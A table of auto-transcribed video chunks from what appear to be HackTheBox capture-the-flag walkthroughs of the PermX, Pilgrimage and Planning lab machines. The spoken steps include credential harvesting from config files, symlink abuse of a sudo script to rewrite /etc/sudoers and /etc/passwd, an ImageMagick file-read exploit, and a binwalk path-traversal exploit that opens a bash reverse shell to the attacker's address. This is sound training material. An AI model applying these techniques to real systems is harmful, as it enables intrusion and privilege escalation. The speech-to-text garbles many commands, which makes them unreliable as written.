text stringlengths 4 952 | start float64 0 9.37k | duration float64 0 0 | meta dict |
|---|---|---|---|
going to do find Dot and we're going to GP for config.php is common in PHP uh there's a lot of them uh let's see database plugin I don't think that's going to be it let's see what's an app there's a directory config so we could also do like find do- typed for directory Dame config and that's going to give us every conf... | 1,157.799 | 0 | {
"video_id": "2TqmHL4pcUo",
"title": "HackTheBox - PermX",
"url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"
} |
these let's hide error messages so config parameters. that doesn't look good- I password there's going to be a lot of them there is a configuration.php did I just miss that I did completely miss that so let's look at configuration.php and right at the top we have Local Host Camilo DB password so the user is Camilo this... | 1,232.559 | 0 | {
"video_id": "2TqmHL4pcUo",
"title": "HackTheBox - PermX",
"url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"
} |
what is it probably ID user ID username ID let's just do username and what's the password going to be probably password from user and we could try cracking these hashes as well but we already made good progress by switching to MTZ user so let's do that um we have to grab that password again because I did not save it th... | 1,319.32 | 0 | {
"video_id": "2TqmHL4pcUo",
"title": "HackTheBox - PermX",
"url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"
} |
so we need three arguments uh user is the first argument perm is the second target is the three if the file is not in home MTZ um then we're going to Echo access denied oh I was like I don't know what this is doing this is probably checking for uh path reversal right where Target is equal to dot dot um access denied th... | 1,401.08 | 0 | {
"video_id": "2TqmHL4pcUo",
"title": "HackTheBox - PermX",
"url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"
} |
then we can specify a file so let's just specify Etsy pseudo s and we could call it what we want if I specified pseud it would make the Sim link there but um I learned with the Ln command if you don't specify a file name it's going to create the Sim Link in your current directory with that file which is pretty cool so ... | 1,470.799 | 0 | {
"video_id": "2TqmHL4pcUo",
"title": "HackTheBox - PermX",
"url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"
} |
all all I'm going to say bin bash now I do pseudo- L we can suddenly do pseudo bash and boom We root so there's other ways we could um exploit this right we could edit the past WD file so if we do the same thing let's see um ln- S at the past WD then that sudo command where is it home MTZ pass WD then V at Z passwd and... | 1,547.559 | 0 | {
"video_id": "2TqmHL4pcUo",
"title": "HackTheBox - PermX",
"url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"
} |
grab this password again copy sh MTZ at 10 10123 um I'm just grabbing the root Shel so it's easier to return there right but if we wanted to We Can't edit a set u ID binary so let's show that um cat opt ACL what am I doing trying to remember exactly everything I did oh symbolic link let's find a um set u ID so we'll do... | 1,634.76 | 0 | {
"video_id": "2TqmHL4pcUo",
"title": "HackTheBox - PermX",
"url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"
} |
set uid binary or the set uid bit so that's why we can't just overwrite these binaries with um other content with this so that's a cool security thing it did confuse me I never thought that um a low privilege user writing to a binary that's configure a set u ID would just erase that permission bit um the other thing wh... | 1,741.559 | 0 | {
"video_id": "2TqmHL4pcUo",
"title": "HackTheBox - PermX",
"url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"
} |
1123 paste watch temp poned not found and I think the cleanup script actually changed that that's annoying ln- s ln- s there we go um V reset. sh what is this doing so I'm going to uncomment all these so these are files that it's reverting okay so let's make our change again 1 2 3 4 5 root touch temp Pon okay so every ... | 1,814.519 | 0 | {
"video_id": "2TqmHL4pcUo",
"title": "HackTheBox - PermX",
"url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"
} |
got another 15 seconds so we can do sleep 15 and I'm going to see if we can tail this little quickly let's just do tail-f so when the Sleep finishes I'm guessing we're going to see another insecure message that just says the KRON wasn't ran because of this remember that only happens when it reloads um because it's defi... | 1,919.679 | 0 | {
"video_id": "2TqmHL4pcUo",
"title": "HackTheBox - PermX",
"url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"
} |
minute it just ran and this changed to permission denied not um not found it was trying to execute that I should have done a LS toned but now you can see the KRON is running because uh we have right permission there so I think the last thing I want to do before I wrap up this video um a lot of people may think you coul... | 1,997.84 | 0 | {
"video_id": "2TqmHL4pcUo",
"title": "HackTheBox - PermX",
"url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"
} |
file even though we would have permission to it um we just can't because we don't know where it is so that's a weird thing where if we do a LS it shows that Sim link is created but because we can't go into this SSH directory we can't read the key um we can probably fully validate that let's do get fle on authorized Key... | 2,082.44 | 0 | {
"video_id": "2TqmHL4pcUo",
"title": "HackTheBox - PermX",
"url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"
} |
longer shows red so if we go to V it um it's an empty file but we can now read it so that's why we couldn't just edit authorized Keys similarly that's why we can't go in like ver um spool cron cron tabs and write to like rout this way because we don't have directory to or we don't have access to the Chron tabs director... | 2,160.04 | 0 | {
"video_id": "2TqmHL4pcUo",
"title": "HackTheBox - PermX",
"url": "https://www.youtube.com/watch?v=2TqmHL4pcUo"
} |
what's going on YouTube this is IP I'm doing pilgrimage from hack the box which really values Recon because a lot of the things in this box look vulnerable and they are vulnerable they're just not vulnerable the way You' expect it for instance the website is a PHP image upload script so you'd expect to be able to uploa... | 0.199 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
vulnerability within the binw walk version It's using that allows you to write files to the operating system so with that being said let's just jump in as always we going to start off with an end map so- SCC for default scripts SV enumerate versions O A output all formats put the and map directory and call it pilgrimag... | 45.96 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
htb so there's not really much else we can do there is a small Quirk because this is um hack the box and we don't have DNS if our browser already knew this domain nmap would run a few more scripts so let's go and actually run this so I'm just going to copy this and we'll do pr- new and let that run while we take a look... | 101.119 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
shrink and we see it's just going to um upload something has a variable to convert gives the file name and then the image file I'm going to send this over to the repeater Tab and we can also just for for this over in burp Suite we see it sends a response back of saying it was successful if we for this to our browser we... | 166.64 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
uploads we get it not found maybe it's just upload um so let's just try running a go Buster to enumerate valid directories right so let's do gobster dasu HTTP uh we got to do pilgrimage. HTP then the word list up secc list Discovery web content raft small words. text we know it's a PHP so I'll do the extension PHP and ... | 227.239 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
PHP and see if it just exists here maybe it gets uploaded as temp directory and then um moves over after it gets converted and we get not found there could be some type of race condition here right CU maybe by the time this responds it deletes the image out of temp I don't know that and I hate like just testing for rac... | 286.759 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
because edmap went to scan it it responded with saying hey this is the location and edmap said okay I'm not going to run any more scripts um once we scanned it and we had the correct domain so um it didn't go to that location uh it ran more scripts so we have a git Repository and I'm going to run the tool get dumper yo... | 340.16 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
Studio code and see what we have here so it looks like there is a few PHP scripts we didn't look at um register log in log out we could take a look at those functions while we go if I just go to register let's do ipac password and then the dashboard is just going to show a history of shrunken images right so if I reupl... | 403.52 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
if you use PHP a lot maybe you know this I don't but it's going to set the location to Temp set the size set the mime type and then um upload it and eventually it's going to run in exec and it hits this binary magic and then does convert and then this output and we don't have control over the file name because I'm gues... | 480.68 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
semicolon um user bin ping 101148 and I always forget is Linux DC or DN uh ping - C1 1271 it is- C and then we send this request we could also try a different way to do code execution like this and looking back we don't have the server sending us a ping so I don't think that is vulnerable to command injection but if we... | 546 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
image magic and 71049 I'm curious if we use two strings magic GP for this it is not there let's see encoding L SB huh I'm surprised I did not find it weird Okay um I'm just kind of curious how it um stores that string but we do see it is 71049 so we can Google any type of exploit for this real quick um so image magic o... | 619.8 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
then image magic will interpret the text string as a file name and will load the content as a raw profile um if the file specified file name is a dash then image magic will try to read the content from standard input and potentially leave the hanging process waiting forever so there's two things we could potentially do... | 708.079 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
or this one probably will work image magic lfi PC okay so we just do generate give it a file and give it an output so let's try this so we'll do get clone let's go up one directory and um this PNG module if you don't have it if you get an error um you want to do pip 3 install Pi PNG I think that's the module let's see ... | 766.48 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
to oh right here so we're adding the profile here right so we added the text profile give it the L file this is the Etsy passwd and our example when we just ran it and then we open the image that we created which is just a gradient and then we save the profile to that if we exi tool on exploit is there a profile now th... | 850.16 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
line breaks but if instead we did identify is it Das reverse RSE on what do we call it it was the 655 we have just a hex string here so what I'm going to do is copy this I think that 1437 could be the size I don't know exactly what that is but this is the hex string so I'm going to call this passwd dox paste it in and ... | 935.68 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
we can't drop a PHP file but if we went back to the source code um it is using a SQ light database right where was that ver DB pilgrimage so let's grab this sqlite database so let's go v no not generate I do it in we can just do Python 3 generate. | 1,004.56 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
p-f dout we'll call it exploit. | 1,034.72 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
PNG create a new one and we will upload this to the server so choose file exploit PNG shrink go here copy image link we can W get to download it and then identify verb on this file name and let's copy this Ser it is a bit bigger because it's a binary file we have a lot of uh null byes probably just terminating or separ... | 1,040.12 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
heex paste it then we can C it xxd r-b direct it to just pilgrimage. htb I know I spelled that horribly but we can just do SQL light 3 um I want to name it DB and not htb we do DB and let's just fix the name there we go and we could just do a. dump and it's going to dump the database and we see users the user I created... | 1,088.72 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
htb paste in the password and we get logged in as Emily we do lsla we can see user. text there is a config directory if we look here there is a config for binwalk which is a bit odd so we know binwalk is installed on this system there is a git config direct file looking at it we don't have anything if we do ps- ef-- Fo... | 1,147 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
going to do a file name and right here it looks like we have command injection right and that's the first thing I would test for so we could go back and do a TCP dump so TCP dump - I t0 let's make that pseudo um- n-v icmp and let's try creating a file that pings us so it goes in ver dubdub duub pilgrimage. htb shrunk a... | 1,219.88 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
file let's do V test.sh bin bash make this executable so I can just execute it we can Echo one so if I just do test Please Subscribe it's going to Echo please if I put this in quotes then would do please subscribe because if it's quotes this will be treated as one argument so what I would do is say files is equal to th... | 1,294.64 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
right um maybe it's substitution but if we put it in single quotes it still says who am I and this is a little bit weird because if I CED this file and we just said files is equal to who am I because I'm not using any quotes here we could let's do that because I think that's what the script does it uses double quotes e... | 1,383.84 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
the um command line it knows it underw expansion it treated as that and then the next time the variable saw this string it said okay I don't have to do the expansion substitution again whatever you call it when you translate it it's just going to treat it as if it were escaped so hopefully that makes sense why this who... | 1,456.36 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
variable I'm going to press control Z to background it I'm going to touch Dev shm uh please subscribe and we're going to do FG to foreground the thing we had backgrounded and we can see it outputed file and that's Dev shm create please subscribe so that's just saying that I notify weight has um triggered in the dev shm... | 1,521.919 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
we went back to the script did test.sh who am I and then who am I here um that would be crlf injection right if that actually executed if it was a system command that's one way you can do it because system would treat multi-lines as different commands um bash does not appear to at least when it's um passed this way so ... | 1,591.36 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
this- e if we did like a founding space um- CMD if that was a command and then something it would still treat that all as the file name it wouldn't go and treat as different arguments because of the double quotes So the next thing we have is um searching like binwalk exploit so we do binwalk rce let's just do binwalk c... | 1,658.24 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
download this let curl - o binwalk 232p did that save it did so if we do Python 3 binwalk 232 it wants the a file IP and Port so let's just call this exploit 101048 901 no such follow directory how's it one it created do they have a help what's a PNG file let's just do exploit. | 1,738.76 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
PNG touch exploit PNG maybe I'm on the wrong exploit let's xxd this yeah it's not a PNG file it's a PFS file um this will make more sense in a second once we go over over this um really weird okay let's do Dev shm oh we actually want to create that file in this directory right because whenever we create a file here the... | 1,794.679 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
what this exploit does because that was not helpful and analyzing this um doesn't help me I couldn't understand from this exploit but this one definitely helps so essentially this is a path traversal bug and the- E flag um will write to the directory right we can see it writing to binw walk. pg. extracted bwalk 2. pg. ... | 1,924.24 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
right and they added the PFS extractor plugin in binwalk in 2017 if we look at this file this is going to be the structure of it and let's see they're talking about it the issue is just the path command they did they should have done absolute path which would get rid of it I'm looking for the file they used bwalk API c... | 2,000.84 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
extracted uh PFS root it's in here so when we're doing dot dot slashes we're escaping this directory right so that is kind of why that works so that's why we can write any file we want to the desk at as long as we have permission so the next step is just kind of understanding this format and the documentation is pretty... | 2,104.28 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
the next two bytes is little Indian format for the number of files so that's why it's just one here because there is one file then you have the file name here and there's a lot of just data but we can just look at where it starts with the um file content at the end and then before that is the file size right so here's ... | 2,173.52 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
is the file size if I could actually count properly and this may not actually be part of the file if that was 156 that' be 192 so that is the size and if we look at the actual plugin let's just um let's see what's a good way to show this I think he shows it in his blog here it is so he takes advantage of the bin walk p... | 2,270.839 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
everything let us go back to this image magic lfi POC or not that one um the binwalk exploit so let's C it or we can just copy and paste that works the best binwalk 232 oh so I guess they do the hex this is going to just be one file and it gets us to the lines right that's what's happening V exploit. heex paste this xx... | 2,338.599 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
BFS yeah so the writing the binwalk dopy plugin which is just going to be this one and they don't actually put the python script in the exploit script right what they did was they got all like the byes in place to get where they can just embed a file and then um add it here right so if we copy this let's see don't want... | 2,393.76 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
on the box this exploit script would not work um let's just try changing the exploit script now that we know that let's see so import if path not exist we're here so let's do b-z then can I escape that b-i Dev TCP let's just do 10 10 148 we'll hardcode everything man I really don't like how they did that this is ugly s... | 2,520.2 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
PNG Python 3 binwalk on is it- f no namespace IP there we go okay so you can now rename and share binwalk exploit so I just running strings against it we can see and this looks like it's right if I did xxd that's where all this would be the only thing I'm questioning is I didn't see it actually change the file size so ... | 2,638.68 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
this we have SSH m. SSH uh let's do sh key gen pilgrimage okay cat pilgrimage. Pub want to copy this V oh cdsh Echo authorized keys sh- I page root at 1010 11 to 19 let's just do the host name pilgrimage. | 2,759.28 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
HTP there we go now we have a proper shell so let's go over to for dubdub duub pilgrimage sltm and there's no files in this temp directory and if you remember this is the one piece we are really confused about that if it's done insecurely we would be able to get code execution because when we upload a image it goes in ... | 2,811.68 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
if I went in temp and we touch IPC it outputs that right the only reason the script used while is they wanted to take multiple actions but here we just want to see the file create so now we can go back to or upload and we can just upload a PNG file and let's see did it not even go here image rink failed huh zenity this... | 2,881.839 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
case yeah so if we ever ever saw like please subscribe. PHP in this directory then we know there's like a race condition we could try to um exploit it looks like there may be something random and then like this whole string looks like it could be random so there's no way we can like ever win that race condition to um e... | 3,003.839 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
piy search for the word profile and instead of urg's L file actually we can just say l file is Dash so let's do Python 3 generate what's it want um let see generate DF we do das - o um we'll call this hang. | 3,063.119 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
PNG let's do exi tool hang. PNG the profile is just a dash so when the script hits this um exec and tries to convert it it should hang here and not do the delete if I'm understanding this correctly and I have not actually done this before so this could be a case of the demo gods and I may be wrong but hopefully I'll se... | 3,092.48 | 0 | {
"video_id": "aaUlHicClrI",
"title": "HackTheBox - Pilgrimage",
"url": "https://www.youtube.com/watch?v=aaUlHicClrI"
} |
What's going on, YouTube? This is IPS doing planning from Hack the Box, which starts out discovering the homepage of this box isn't vulnerable to anything meaningful. But doing a virtual host scan, we can discover a subdomain that's hosting a outof-date version of Graphana that has a public exploit that leads to remote... | 0.24 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
can brute force the username, which gets us into Kronab UI, which we can just get root by creating a malicious cronab. In the Beyond Route, we'll go over a little bit on some advanced um cases with FUF using encoders. So, with that being said, let's jump in. As always, we're going to start off with an end map. So, - sc... | 43.28 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
This can take some time to run, so I've already ran it. Looking at the results, we see just two ports open. The first one being SSH on port 22, and the server is an Iuntu server. We also see HTTP on port 80 and its banner tells us it's engine X also running on Ubuntu and it's directing us over to planning.htb. So I'm g... | 73.119 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
anything. Um, let's see. We do have some.phps. So we know this is going to be a PHP website. So we could do a Go Buster with the extension PHP. and then find potential files. We could do a virtual host scan. Um, we see a field here. I'm going to do a virtual host scan first. Uh, but I'd probably set up multiple of thes... | 131.84 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
my biggest gripes about this box. Uh, we can do - http and then planning.htb. | 188.959 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
And let's just make sure this starts off. And then while that goes, let's go ahead and play with this field, right? | 196.72 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
We have a courses and a keyword. So if I do test and then search, we get nothing. | 202.4 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
There is something here, the courses page. It says check out new releases of our courses. So web design for beginners online marketing. I'm just going to uh I was hoping I could just copy that easily, but we'll just type web design. | 208.4 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
If we do web, we get nothing. Let's do web design for beginners. | 222.879 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Get nothing. So, I'm going to think this field doesn't really do anything. We're just getting blank search results every time. Um, we could do like a uh single quote to see if we get an error message. I'm just going to send this over to Burpuite and play with this. And we do have the recon going on in the background. U... | 229.28 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
And let's go back to Burpswuite for this. And let's see. I see 24112 bytes. | 259.28 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
So I'm just going to keep an eye on that. And that's how I'm going to know if the page changes, right? Because we're getting the whole index.php back. | 267.44 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
It's easy just to look at the size. So we put a single quote, it doesn't change, a double quote, it doesn't change. Um or one equals 1. | 273.919 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
doesn't change. So, I'm going to guess this is just um broken, right? I think percent is normally a wild card. So, we can try this um a e i o u. | 284.88 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
And this never really changes. So, I don't think we really have anything here. Um I'm just going to turn that off. Looking back at our results, we see it's only 12%. So, while that runs, I'm also going to run a tool called nuclei to see if it picks up anything we are missing. So, we can say nuclei um target http planni... | 300.96 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
So, I'm just going to let these go and I'll come back if it finds anything. So, our virtual host enumeration is still going on, but Nuclea has finished. So let's go take a look at um what findings we have. Right. So the top here is just about SSH. We see the same banner we had in NMAP. Um SSH is letting us log in with ... | 351.6 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
same way as if you use like um if the server is vulnerable to an SSL vulnerability like breach and you just use that um clickbait name, they'll be like, "Well, we've been vulnerable for years and never exploited, so why do we care?" Right? So, if I was going to report this, I would look for the ones that I can demonstr... | 397.44 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
So this if you have this set then the website won't be able to be displayed in an iframe. So maybe fishing, clickjacking, things like that, I may try demonstrating. It's probably the easiest because it just requires you standing up a resource on your own. Um, if the website is also listening on HTTP, I may highlight th... | 421.039 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
But if it is listing on HTTP and HTTPS, I may highlight that and then I can show a demo, right? um the content security policy. This would be a key one I normally add on if they have cross-sight scripting um on their website because all these headers are really a defense and depth methodology, right? So if you find cro... | 457.12 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
scripting vulnerability and you also demonstrate the impact of content security policy. So technically you have two security relevant bugs, right? So um that's generally my approach to the security headers. really not that um big of a deal, but if you can show some type of exploitation, you may be able to um get them t... | 501.199 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
So, let's go take a look at our virtual host. And we're at 95% and it has not found anything. So, I'm starting to think I did something wrong here. I'm just going to let this finish and get to 100. And I'm going to laugh if this is in like the position of 98,000 of the word I'm looking for. But maybe I just chose the w... | 521.599 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
right. Um, looking at this warning message though, it says the first subdomain doesn't contain a dot. You might want to append the base domain, otherwise the vhost will be tried as is. Um, I'm going to add the dash debug flag real quick. | 578 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Uh, I think GoBuster changed how it normally works. I swear in previous boxes if um it would just append the domain I put in the URL, but it doesn't look like it's doing that. Right. Based upon the error message, it said I need to use append domain. | 597.6 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Let's try ad planning.htv. Okay, so I guess they have changed the syntax. my go buster updated. Um, when you use Go Buster to do virtual host scanning, um, you want to use the append domain to get it exactly how you want it. Um, odd behavior. | 618.399 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Let's go ahead and run this again. And I'm going to pause the video and we'll resume when it is done. Hopefully this time it finds it. If not, then I'm going to be switching to fuff. And I probably won't be using Go Buster for um, DNS recon anymore because that is definitely odd. Okay. And there we go. That's much bett... | 638.56 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
make sure your tools are working as you expect them to. Right? So let's go ahead and um add this to our host file. So I'm going to do a pseudo vets host and then we can add the graphana.planning.htb. | 687.36 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Save that and let's go um access it. Right? So we do http graphfana.planning.htb htb and we get graphana loaded and it tells us the version is 11.0.0 O right and also um the account is admin and this password so let's try um logging in here so I'm going to do admin and this and we get logged into graphana right um my f... | 701.04 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
It looks like it will. Let's do 110. See, that doesn't work. Um, I'm going to go to 85011. And then we just change this to be 110. | 746.959 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Oh, do we get a 404? We do. Wonder if we just do release notes 11. | 761.6 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
Um, let's see. Graphana 110 release notes. And if we don't find the exact time, I normally don't spend too long on it. I just look at like the latest version. Um, so it looks like maybe around May 19th, 2024. Um, another good one is just go to like CVE details. This is probably also where I'd start. Um, and then just t... | 769.279 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
"url": "https://www.youtube.com/watch?v=eS176ucdzhY"
} |
And we can see a bunch of vulnerabilities. I'm going to click on this just so we see them. And then let's go ahead and find one that looks juicy, right? Um 7.6 maybe. But I like normally looking for some type of red. We have this um SQL expressions experimental feature of Graphfana allows evaluation of duct DB queries.... | 799.2 | 0 | {
"video_id": "eS176ucdzhY",
"title": "HackTheBox - Planning",
